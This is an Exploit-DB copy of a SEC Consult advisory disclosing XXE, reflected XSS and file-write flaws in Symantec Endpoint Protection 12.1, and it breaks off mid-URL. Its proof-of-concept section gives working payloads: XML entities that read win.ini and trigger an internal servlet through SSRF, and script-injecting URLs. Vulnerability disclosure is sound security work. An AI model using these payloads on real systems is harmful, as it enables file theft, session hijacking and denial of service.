Exploit-DB #35181
Description: Symantec Endpoint Protection 12.1.4023.4080 - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2014-11-06
Author: SEC Consult

Exploit:
SEC Consult Vulnerability Lab Security Advisory < 20141106-0 >
=======================================================================
              title: XXE & XSS & Arbitrary File Write vulnerabilities
            product: Symantec Endpoint Protection
 vulnerable version: 12.1.4023.4080
      fixed version: 12.1.5 (RU 5)
             impact: Critical
         CVE number: CVE-2014-3437, CVE-2014-3438, CVE-2014-3439
           homepage: http://www.symantec.com
              found: 2014-07-01
                 by: Stefan Viehböck
                     SEC Consult Vulnerability Lab
                     https://www.sec-consult.com
=======================================================================


Vendor description:
-------------------
"Symantec Endpoint Protection is a client-server solution that protects
laptops, desktops, Windows and Mac computers, and servers in your network
against malware. Symantec Endpoint Protection combines virus protection with
advanced threat protection to proactively secure your computers against known
and unknown threats.
Symantec Endpoint Protection protects against malware such as viruses, worms,
Trojan horses, spyware, and adware. It provides protection against even the
most sophisticated attacks that evade traditional security measures, such as
rootkits, zero-day attacks, and spyware that mutates. Providing low maintenance
and high power, Symantec Endpoint Protection communicates over your network to
automatically safeguard for both physical systems and virtual systems against
attacks."

Source:
https://www.symantec.com/endpoint-protection
https://www.symantec.com/business/support/index?page=content&id=DOC6153


Business recommendation:
------------------------
Attackers are able to perform denial-of-service attacks against the Endpoint
Protection Manager which directly impacts the effectiveness of the client-side
endpoint protection. Furthermore, session identifiers of users can be stolen
to impersonate them and gain unauthorized access to the server.

All of these attacks can have a severe impact on the security infrastructure.
An update to the latest version (12.1.5 RU 5) is highly recommended.



Vulnerability overview/description:
-----------------------------------
1) XML External Entity Injection (XXE) [CVE-2014-3437]
Multiple XXE vulnerabilities were found in the Endpoint Protection Manager
application. An attacker needs to perform MitM attacks to impersonate
securityresponse.symantec.com (eg. via DNS poisoning/spoofing/hijacking,
ARP spoofing, QUANTUM-style attacks, ...) to inject malicious XML code.
These vulnerabilities can be used to execute server side request
forgery (SSRF) attacks used for portscanning/fingerprinting, denial of service,
file disclosure as well as attacks against functionality that is only
exposed internally (see CVE-2013-5015 and issue #3).

Note:
The exploitation scenario proves that the previous command execution via
SQL injection was exploitable for an external attacker with the ability to
manipulate internet traffic _without any prior knowledge_ of the target system.


2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]
Endpoint Protection Manager suffers from a reflected cross-site scripting
vulnerability, which allows an attacker to steal other users' sessions, to
impersonate other users and to gain unauthorized access to the admin interface.


3) Unauthenticated Arbitrary File Write/Overwrite [CVE-2014-3439]
Arbitrary files can be written or overwritten by an unauthenticated attacker.
The target file is truncated in the process which results in Denial of Service.
However it might be possible to write files with arbitrary content nonetheless.



Proof of concept:
-----------------
1) XML External Entity Injection (XXE) [CVE-2014-3437]
The Symantec Protection Center component downloads XML files from
http://securityresponse.symantec.com for information purposes.
By impersonating securityresponse.symantec.com (eg. via DNS
poisoning/spoofing/hijacking, ARP spoofing, QUANTUM-style attacks, ...) an
attacker can inject malicious XML code into the file contents and thus exploit
XXE vulnerabilities.

For example by offering the following XML code at the URL
http://securityresponse.symantec.com/avcenter/deepsightkiosk/9.xml
arbitrary files can be disclosed via the Symantec Protection Center login
page at https://<HOST>:8443/portal/Login.jsp

===============================================================================
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [<!ENTITY e SYSTEM 'file:///c:/windows/win.ini'> ]>

<data>
  <regular>
    <text>&e;</text>
  </regular>
  <outbreak></outbreak>
  <threatcon>1</threatcon>
</data>
===============================================================================


Server Side Request Forgery (SSRF) can be  exploited like in the following
example that sets the application log level to "log all messages" eg. via
http://securityresponse.symantec.com/avcenter/deepsightkiosk/10.xml

===============================================================================
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE a [<!ENTITY e SYSTEM
'http://localhost:9090/servlet/ConsoleServlet?ActionType=ConfigServer&logLevel=ALL'> ]>
<foo>&e;</foo>
===============================================================================

Furthermore some files can be exfiltrated to remote servers via the
techniques described in:
https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf
http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf


2) Reflected Cross-Site-Scripting (XSS) [CVE-2014-3438]
At least the following URLs are vulnerable to XSS:
https://<HOST>:8443/console/Highlander_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script>
https://<HOST>:8443/portal/Loading.jsp?uri=Ij48c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0Pj9BQUFBPUJCQkIiPjxzY